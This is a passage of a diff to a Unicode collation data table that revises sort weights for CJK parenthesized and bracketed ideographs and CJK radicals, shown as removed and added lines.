[*0310.0020.0004][.FB40.0020.0004][.D40D.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH NAME 3294 ; [.FB40.0020.0006][.D40D.0000.0000] # CIRCLED IDEOGRAPH NAME F9DE ; [.FB40.0020.0002][.D40F.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9DE F9ED ; [.FB40.0020.0002][.D41D.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9ED @@ -29404,7 +28784,7 @@ F9ED ; [.FB40.0020.0002][.D41D.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9ED F980 ; [.FB40.0020.0002][.D442.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F980 2F83E ; [.FB40.0020.0002][.D448.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F83E 2F83F ; [.FB40.0020.0002][.D468.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F83F -323A ; [*0317.0020.0004][.FB40.0020.0004][.D47C.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH CALL +323A ; [*0310.0020.0004][.FB40.0020.0004][.D47C.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH CALL 2F83C ; [.FB40.0020.0002][.D49E.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F83C 2F840 ; [.FB40.0020.0002][.D4A2.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F840 F99E ; [.FB40.0020.0002][.D4BD.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F99E @@ -29433,14 +28813,14 @@ FA37 ; [.FB40.0020.0002][.D606.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA37 FA38 ; [.FB40.0020.0002][.D668.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA38 2F84F ; [.FB40.0020.0002][.D674.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F84F 2F1E ; [.FB40.0020.0004][.D6D7.0000.0000] # KANGXI RADICAL ENCLOSURE -3223 ; [*0317.0020.0004][.FB40.0020.0004][.D6DB.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FOUR +3223 ; [*0310.0020.0004][.FB40.0020.0004][.D6DB.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FOUR 3283 ; [.FB40.0020.0006][.D6DB.0000.0000] # CIRCLED IDEOGRAPH FOUR 3195 ; [.FB40.0020.0014][.D6DB.0000.0000] # IDEOGRAPHIC ANNOTATION FOUR MARK F9A9 ; [.FB40.0020.0002][.D6F9.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9A9 2F84B ; [.FB40.0020.0002][.D716.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F84B 2F84D ; [.FB40.0020.0002][.D717.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F84D 2F1F ; [.FB40.0020.0004][.D71F.0000.0000] # KANGXI RADICAL EARTH -322F ; [*0317.0020.0004][.FB40.0020.0004][.D71F.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH EARTH +322F ; [*0310.0020.0004][.FB40.0020.0004][.D71F.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH EARTH 328F ; [.FB40.0020.0006][.D71F.0000.0000] # CIRCLED IDEOGRAPH EARTH 319E ; [.FB40.0020.0014][.D730.0000.0000] # IDEOGRAPHIC ANNOTATION EARTH MARK 2F855 ; [.FB40.0020.0002][.D78B.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F855 @@ -29496,11 +28876,11 @@ FA81 ; [.FB40.0020.0002][.DB28.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA81 2F86B ; [.FB40.0020.0002][.DB3E.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F86B 2F26 ; [.FB40.0020.0004][.DB50.0000.0000] # KANGXI RADICAL CHILD 1F211 ; [.FB40.0020.001C][.DB57.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-5B57 -323B ; [*0317.0020.0004][.FB40.0020.0004][.DB66.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH STUDY +323B ; [*0310.0020.0004][.FB40.0020.0004][.DB66.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH STUDY 32AB ; [.FB40.0020.0006][.DB66.0000.0000] # CIRCLED IDEOGRAPH STUDY 2F27 ; [.FB40.0020.0004][.DB80.0000.0000] # KANGXI RADICAL ROOF FA04 ; [.FB40.0020.0002][.DB85.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA04 -1F243 ; [*0379.0020.0004][.FB40.0020.0004][.DB89.0000.0000][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-5B89 +1F243 ; [*0372.0020.0004][.FB40.0020.0004][.DB89.0000.0000][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-5B89 32AA ; [.FB40.0020.0006][.DB97.0000.0000] # CIRCLED IDEOGRAPH RELIGION 2F86D ; [.FB40.0020.0002][.DBC3.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F86D 2F86E ; [.FB40.0020.0002][.DBD8.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F86E @@ -29513,14 +28893,14 @@ F9BC ; [.FB40.0020.0002][.DBEE.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9BC 2F872 ; [.FB40.0020.0002][.DBFF.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F872 2F873 ; [.FB40.0020.0002][.DC06.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F873 2F29 ; [.FB40.0020.0004][.DC0F.0000.0000] # KANGXI RADICAL SMALL -2E8C ; [.FB40.0020.0004][.DC0F.0000.0000][.0000.0110.0004] # CJK RADICAL SMALL ONE -2E8D ; [.FB40.0020.0004][.DC0F.0000.0000][.0000.0111.0004] # CJK RADICAL SMALL TWO +2E8C ; [.FB40.0020.0004][.DC0F.0000.0000][.0000.010B.0004] # CJK RADICAL SMALL ONE +2E8D ; [.FB40.0020.0004][.DC0F.0000.0000][.0000.010C.0004] # CJK RADICAL SMALL TWO 2F875 ; [.FB40.0020.0002][.DC22.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F875 2E90 ; [.FB40.0020.0004][.DC22.0000.0000] # CJK RADICAL LAME THREE 2F2A ; [.FB40.0020.0004][.DC22.0000.0000] # KANGXI RADICAL LAME -2E8E ; [.FB40.0020.0004][.DC22.0000.0000][.0000.0110.0004] # CJK RADICAL LAME ONE +2E8E ; [.FB40.0020.0004][.DC22.0000.0000][.0000.010B.0004] # CJK RADICAL LAME ONE 2E8F ; [.FB40.0020.0004][.DC23.0000.0000] # CJK RADICAL LAME TWO -2E91 ; [.FB40.0020.0004][.DC23.0000.0000][.0000.0110.0004] # CJK RADICAL LAME FOUR +2E91 ; [.FB40.0020.0004][.DC23.0000.0000][.0000.010B.0004] # CJK RADICAL LAME FOUR 2F2B ; [.FB40.0020.0004][.DC38.0000.0000] # KANGXI RADICAL CORPSE F9BD ; [.FB40.0020.0002][.DC3F.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9BD 2F877 ; [.FB40.0020.0002][.DC60.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F877 @@ -29581,7 +28961,7 @@ F943 ; [.FB40.0020.0002][.DF04.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F943 2F894 ; [.FB40.0020.0002][.DF22.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F894 2F895 ; [.FB40.0020.0002][.DF22.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F895 2F39 ; [.FB40.0020.0004][.DF50.0000.0000] # KANGXI RADICAL SNOUT -2E95 ; [.FB40.0020.0004][.DF50.0000.0000][.0000.0110.0004] # CJK RADICAL SNOUT TWO +2E95 ; [.FB40.0020.0004][.DF50.0000.0000][.0000.010B.0004] # CJK RADICAL SNOUT TWO 2E94 ; [.FB40.0020.0004][.DF51.0000.0000] # CJK RADICAL SNOUT ONE 2F874 ; [.FB40.0020.0002][.DF53.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F874 2F3A ; [.FB40.0020.0004][.DF61.0000.0000] # KANGXI RADICAL BRISTLE @@ -29596,7 +28976,7 @@ F9D8 ; [.FB40.0020.0002][.DF8B.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9D8 F966 ; [.FB40.0020.0002][.DFA9.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F966 FA85 ; [.FB40.0020.0002][.DFAD.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA85 2F3C ; [.FB40.0020.0004][.DFC3.0000.0000] # KANGXI RADICAL HEART -2E97 ; [.FB40.0020.0004][.DFC3.0000.0000][.0000.0110.0004] # CJK RADICAL HEART TWO +2E97 ; [.FB40.0020.0004][.DFC3.0000.0000][.0000.010B.0004] # CJK RADICAL HEART TWO 2E96 ; [.FB40.0020.0004][.DFC4.0000.0000] # CJK RADICAL HEART ONE 2F89D ; [.FB40.0020.0002][.DFCD.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F89D 2F89E ; [.FB40.0020.0002][.DFD7.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F89E @@ -29644,7 +29024,7 @@ FA8C ; [.FB40.0020.0002][.E234.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA8C 2F3F ; [.FB40.0020.0004][.E24B.0000.0000] # KANGXI RADICAL HAND 1F210 ; [.FB40.0020.001C][.E24B.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-624B 2E98 ; [.FB40.0020.0004][.E24C.0000.0000] # CJK RADICAL HAND -1F245 ; [*0379.0020.0004][.FB40.0020.0004][.E253.0000.0000][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6253 +1F245 ; [*0372.0020.0004][.FB40.0020.0004][.E253.0000.0000][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6253 1F231 ; [.FB40.0020.001C][.E253.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-6253 2F8B4 ; [.FB40.0020.0002][.E25D.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F8B4 1F227 ; [.FB40.0020.001C][.E295.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-6295 @@ -29682,7 +29062,7 @@ F930 ; [.FB40.0020.0002][.E4C4.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F930 FA41 ; [.FB40.0020.0002][.E54F.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA41 2F8C8 ; [.FB40.0020.0002][.E54F.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F8C8 FA90 ; [.FB40.0020.0002][.E556.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA90 -1F248 ; [*0379.0020.0004][.FB40.0020.0004][.E557.0000.0000][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557 +1F248 ; [*0372.0020.0004][.FB40.0020.0004][.E557.0000.0000][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557 2F8C9 ; [.FB40.0020.0002][.E56C.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F8C9 F969 ; [.FB40.0020.0002][.E578.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F969 2F42 ; [.FB40.0020.0004][.E587.0000.0000] # KANGXI RADICAL SCRIPT @@ -29699,9 +29079,9 @@ F983 ; [.FB40.0020.0002][.E5C5.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F983 FA42 ; [.FB40.0020.0002][.E5E2.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA42 2F8CB ; [.FB40.0020.0002][.E5E3.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F8CB 2F47 ; [.FB40.0020.0004][.E5E5.0000.0000] # KANGXI RADICAL SUN -3230 ; [*0317.0020.0004][.FB40.0020.0004][.E5E5.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SUN +3230 ; [*0310.0020.0004][.FB40.0020.0004][.E5E5.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SUN 3290 ; [.FB40.0020.0006][.E5E5.0000.0000] # CIRCLED IDEOGRAPH SUN -2E9C ; [.FB40.0020.0004][.E5E5.0000.0000][.0000.0110.0004] # CJK RADICAL SUN +2E9C ; [.FB40.0020.0004][.E5E5.0000.0000][.0000.010B.0004] # CJK RADICAL SUN 337E ; [.FB40.0020.001C][.E60E.0000.0000][.FB40.0020.001C][.ECBB.0000.0000] # SQUARE ERA NAME MEIZI F9E0 ; [.FB40.0020.0002][.E613.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9E0 1F219 ; [.FB40.0020.001C][.E620.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-6620 @@ -29720,11 +29100,11 @@ F901 ; [.FB40.0020.0002][.E6F4.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F901 2F8CC ; [.FB40.0020.0002][.E6F8.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F8CC 2F8D4 ; [.FB40.0020.0002][.E700.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F8D4 2F49 ; [.FB40.0020.0004][.E708.0000.0000] # KANGXI RADICAL MOON -322A ; [*0317.0020.0004][.FB40.0020.0004][.E708.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH MOON +322A ; [*0310.0020.0004][.FB40.0020.0004][.E708.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH MOON 328A ; [.FB40.0020.0006][.E708.0000.0000] # CIRCLED IDEOGRAPH MOON 1F237 ; [.FB40.0020.001C][.E708.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-6708 -2E9D ; [.FB40.0020.0004][.E708.0000.0000][.0000.0110.0004] # CJK RADICAL MOON -3232 ; [*0317.0020.0004][.FB40.0020.0004][.E709.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH HAVE +2E9D ; [.FB40.0020.0004][.E708.0000.0000][.0000.010B.0004] # CJK RADICAL MOON +3232 ; [*0310.0020.0004][.FB40.0020.0004][.E709.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH HAVE 3292 ; [.FB40.0020.0006][.E709.0000.0000] # CIRCLED IDEOGRAPH HAVE 1F236 ; [.FB40.0020.001C][.E709.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-6709 F929 ; [.FB40.0020.0002][.E717.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F929 @@ -29734,9 +29114,9 @@ FA93 ; [.FB40.0020.0002][.E71B.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA93 2F8D9 ; [.FB40.0020.0002][.E71B.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F8D9 2F8DA ; [.FB40.0020.0002][.E721.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F8DA 2F4A ; [.FB40.0020.0004][.E728.0000.0000] # KANGXI RADICAL TREE -322D ; [*0317.0020.0004][.FB40.0020.0004][.E728.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH WOOD +322D ; [*0310.0020.0004][.FB40.0020.0004][.E728.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH WOOD 328D ; [.FB40.0020.0006][.E728.0000.0000] # CIRCLED IDEOGRAPH WOOD -1F240 ; [*0379.0020.0004][.FB40.0020.0004][.E72C.0000.0000][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C +1F240 ; [*0372.0020.0004][.FB40.0020.0004][.E72C.0000.0000][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C F9E1 ; [.FB40.0020.0002][.E74E.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9E1 2F8DC ; [.FB40.0020.0002][.E753.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F8DC FA94 ; [.FB40.0020.0002][.E756.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA94 @@ -29748,7 +29128,7 @@ F9C9 ; [.FB40.0020.0002][.E7F3.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9C9 2F8DF ; [.FB40.0020.0002][.E7FA.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F8DF F9DA ; [.FB40.0020.0002][.E817.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9DA 2F8E5 ; [.FB40.0020.0002][.E81F.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F8E5 -3231 ; [*0317.0020.0004][.FB40.0020.0004][.E82A.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH STOCK +3231 ; [*0310.0020.0004][.FB40.0020.0004][.E82A.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH STOCK 3291 ; [.FB40.0020.0006][.E82A.0000.0000] # CIRCLED IDEOGRAPH STOCK 337F ; [.FB40.0020.001C][.E82A.0000.0000][.FB40.0020.001C][.DF0F.0000.0000][.FB40.0020.001C][.CF1A.0000.0000][.FB40.0020.001C][.F93E.0000.0000] # SQUARE CORPORATION 2F8E1 ; [.FB40.0020.0002][.E852.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F8E1 @@ -29778,7 +29158,7 @@ F91D ; [.FB40.0020.0002][.EB04.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F91D F98C ; [.FB40.0020.0002][.EB77.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F98C FA95 ; [.FB40.0020.0002][.EB79.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA95 2F4D ; [.FB40.0020.0004][.EB79.0000.0000] # KANGXI RADICAL DEATH -2E9E ; [.FB40.0020.0004][.EB7A.0000.0000][.0000.0110.0004] # CJK RADICAL DEATH +2E9E ; [.FB40.0020.0004][.EB7A.0000.0000][.0000.010B.0004] # CJK RADICAL DEATH 2F8F4 ; [.FB40.0020.0002][.EB9F.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F8F4 F9A5 ; [.FB40.0020.0002][.EBAE.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9A5 2F4E ; [.FB40.0020.0004][.EBB3.0000.0000] # KANGXI RADICAL WEAPON @@ -29794,7 +29174,7 @@ FA96 ; [.FB40.0020.0002][.EBBA.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA96 2EA0 ; [.FB40.0020.0004][.EC11.0000.0000] # CJK RADICAL CIVILIAN 2F53 ; [.FB40.0020.0004][.EC14.0000.0000] # KANGXI RADICAL STEAM 2F54 ; [.FB40.0020.0004][.EC34.0000.0000] # KANGXI RADICAL WATER -322C ; [*0317.0020.0004][.FB40.0020.0004][.EC34.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH WATER +322C ; [*0310.0020.0004][.FB40.0020.0004][.EC34.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH WATER 328C ; [.FB40.0020.0006][.EC34.0000.0000] # CIRCLED IDEOGRAPH WATER 2EA1 ; [.FB40.0020.0004][.EC35.0000.0000] # CJK RADICAL WATER ONE 2EA2 ; [.FB40.0020.0004][.EC3A.0000.0000] # CJK RADICAL WATER TWO @@ -29850,7 +29230,7 @@ FA9B ; [.FB40.0020.0002][.F01E.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA9B 2F913 ; [.FB40.0020.0002][.F039.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F913 2F917 ; [.FB40.0020.0002][.F04A.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F917 2F55 ; [.FB40.0020.0004][.F06B.0000.0000] # KANGXI RADICAL FIRE -322B ; [*0317.0020.0004][.FB40.0020.0004][.F06B.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FIRE +322B ; [*0310.0020.0004][.FB40.0020.0004][.F06B.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FIRE 328B ; [.FB40.0020.0006][.F06B.0000.0000] # CIRCLED IDEOGRAPH FIRE 2EA3 ; [.FB40.0020.0004][.F06C.0000.0000] # CJK RADICAL FIRE 2F835 ; [.FB40.0020.0002][.F070.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F835 @@ -29858,7 +29238,7 @@ FA9B ; [.FB40.0020.0002][.F01E.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA9B 2F918 ; [.FB40.0020.0002][.F07D.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F918 F9FB ; [.FB40.0020.0002][.F099.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9FB 2F91A ; [.FB40.0020.0002][.F0AD.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F91A -1F244 ; [*0379.0020.0004][.FB40.0020.0004][.F0B9.0000.0000][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-70B9 +1F244 ; [*0372.0020.0004][.FB40.0020.0004][.F0B9.0000.0000][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-70B9 F99F ; [.FB40.0020.0002][.F0C8.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F99F F916 ; [.FB40.0020.0002][.F0D9.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F916 1F21A ; [.FB40.0020.001C][.F121.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-7121 @@ -29875,7 +29255,7 @@ F91E ; [.FB40.0020.0002][.F21B.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F91E 2F56 ; [.FB40.0020.0004][.F22A.0000.0000] # KANGXI RADICAL CLAW FA49 ; [.FB40.0020.0002][.F22B.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA49 2EA4 ; [.FB40.0020.0004][.F22B.0000.0000] # CJK RADICAL PAW ONE -2EA5 ; [.FB40.0020.0004][.F22B.0000.0000][.0000.0110.0004] # CJK RADICAL PAW TWO +2EA5 ; [.FB40.0020.0004][.F22B.0000.0000][.0000.010B.0004] # CJK RADICAL PAW TWO FA9E ; [.FB40.0020.0002][.F235.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA9E 2F921 ; [.FB40.0020.0002][.F235.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F921 2F57 ; [.FB40.0020.0004][.F236.0000.0000] # KANGXI RADICAL FATHER @@ -29885,9 +29265,9 @@ FA9E ; [.FB40.0020.0002][.F235.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA9E 2F922 ; [.FB40.0020.0002][.F250.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F922 2F5B ; [.FB40.0020.0004][.F259.0000.0000] # KANGXI RADICAL FANG 2F5C ; [.FB40.0020.0004][.F25B.0000.0000] # KANGXI RADICAL COW -2EA7 ; [.FB40.0020.0004][.F25B.0000.0000][.0000.0110.0004] # CJK RADICAL COW +2EA7 ; [.FB40.0020.0004][.F25B.0000.0000][.0000.010B.0004] # CJK RADICAL COW F946 ; [.FB40.0020.0002][.F262.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F946 -3235 ; [*0317.0020.0004][.FB40.0020.0004][.F279.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SPECIAL +3235 ; [*0310.0020.0004][.FB40.0020.0004][.F279.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SPECIAL 3295 ; [.FB40.0020.0006][.F279.0000.0000] # CIRCLED IDEOGRAPH SPECIAL 2F924 ; [.FB40.0020.0002][.F280.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F924 2F925 ; [.FB40.0020.0002][.F295.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F925 @@ -29905,7 +29285,7 @@ F961 ; [.FB40.0020.0002][.F387.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F961 F9DB ; [.FB40.0020.0002][.F387.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9DB 2F5F ; [.FB40.0020.0004][.F389.0000.0000] # KANGXI RADICAL JADE 2F929 ; [.FB40.0020.0002][.F38B.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F929 -2EA9 ; [.FB40.0020.0004][.F38B.0000.0000][.0000.0110.0004] # CJK RADICAL JADE +2EA9 ; [.FB40.0020.0004][.F38B.0000.0000][.0000.010B.0004] # CJK RADICAL JADE 2F92B ; [.FB40.0020.0002][.F3A5.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F92B F9AD ; [.FB40.0020.0002][.F3B2.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9AD F917 ; [.FB40.0020.0002][.F3DE.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F917 @@ -29940,7 +29320,7 @@ F976 ; [.FB40.0020.0002][.F565.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F976 F962 ; [.FB40.0020.0002][.F570.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F962 2F938 ; [.FB40.0020.0002][.F570.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F938 2F66 ; [.FB40.0020.0004][.F58B.0000.0000] # KANGXI RADICAL BOLT OF CLOTH -2EAA ; [.FB40.0020.0004][.F58B.0000.0000][.0000.0110.0004] # CJK RADICAL BOLT OF CLOTH +2EAA ; [.FB40.0020.0004][.F58B.0000.0000][.0000.010B.0004] # CJK RADICAL BOLT OF CLOTH 2F67 ; [.FB40.0020.0004][.F592.0000.0000] # KANGXI RADICAL SICKNESS F9E5 ; [.FB40.0020.0002][.F5E2.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9E5 2F93A ; [.FB40.0020.0002][.F610.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F93A @@ -29954,13 +29334,13 @@ F90E ; [.FB40.0020.0002][.F669.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F90E 2F6B ; [.FB40.0020.0004][.F6BF.0000.0000] # KANGXI RADICAL DISH FA17 ; [.FB40.0020.0002][.F6CA.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA17 FAA6 ; [.FB40.0020.0002][.F6CA.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FAA6 -1F246 ; [*0379.0020.0004][.FB40.0020.0004][.F6D7.0000.0000][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-76D7 +1F246 ; [*0372.0020.0004][.FB40.0020.0004][.F6D7.0000.0000][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-76D7 FAA7 ; [.FB40.0020.0002][.F6DB.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FAA7 -323C ; [*0317.0020.0004][.FB40.0020.0004][.F6E3.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SUPERVISE +323C ; [*0310.0020.0004][.FB40.0020.0004][.F6E3.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SUPERVISE 32AC ; [.FB40.0020.0006][.F6E3.0000.0000] # CIRCLED IDEOGRAPH SUPERVISE F933 ; [.FB40.0020.0002][.F6E7.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F933 2F6C ; [.FB40.0020.0004][.F6EE.0000.0000] # KANGXI RADICAL EYE -2EAB ; [.FB40.0020.0004][.F6EE.0000.0000][.0000.0110.0004] # CJK RADICAL EYE +2EAB ; [.FB40.0020.0004][.F6EE.0000.0000][.0000.010B.0004] # CJK RADICAL EYE FAA8 ; [.FB40.0020.0002][.F6F4.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FAA8 2F940 ; [.FB40.0020.0002][.F6F4.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F940 F96D ; [.FB40.0020.0002][.F701.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F96D @@ -29986,11 +29366,11 @@ FAAB ; [.FB40.0020.0002][.F8CC.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FAAB F964 ; [.FB40.0020.0002][.F8FB.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F964 F985 ; [.FB40.0020.0002][.F92A.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F985 2F70 ; [.FB40.0020.0004][.F93A.0000.0000] # KANGXI RADICAL SPIRIT -2EAC ; [.FB40.0020.0004][.F93A.0000.0000][.0000.0110.0004] # CJK RADICAL SPIRIT ONE +2EAC ; [.FB40.0020.0004][.F93A.0000.0000][.0000.010B.0004] # CJK RADICAL SPIRIT ONE 2EAD ; [.FB40.0020.0004][.F93B.0000.0000] # CJK RADICAL SPIRIT TWO FA18 ; [.FB40.0020.0002][.F93C.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA18 FA4C ; [.FB40.0020.0002][.F93E.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA4C -3233 ; [*0317.0020.0004][.FB40.0020.0004][.F93E.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SOCIETY +3233 ; [*0310.0020.0004][.FB40.0020.0004][.F93E.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SOCIETY 3293 ; [.FB40.0020.0006][.F93E.0000.0000] # CIRCLED IDEOGRAPH SOCIETY FA4E ; [.FB40.0020.0002][.F948.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA4E FA4D ; [.FB40.0020.0002][.F949.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA4D @@ -29998,11 +29378,11 @@ FA4F ; [.FB40.0020.0002][.F950.0000.0000] # CJK COMPATIBILITY 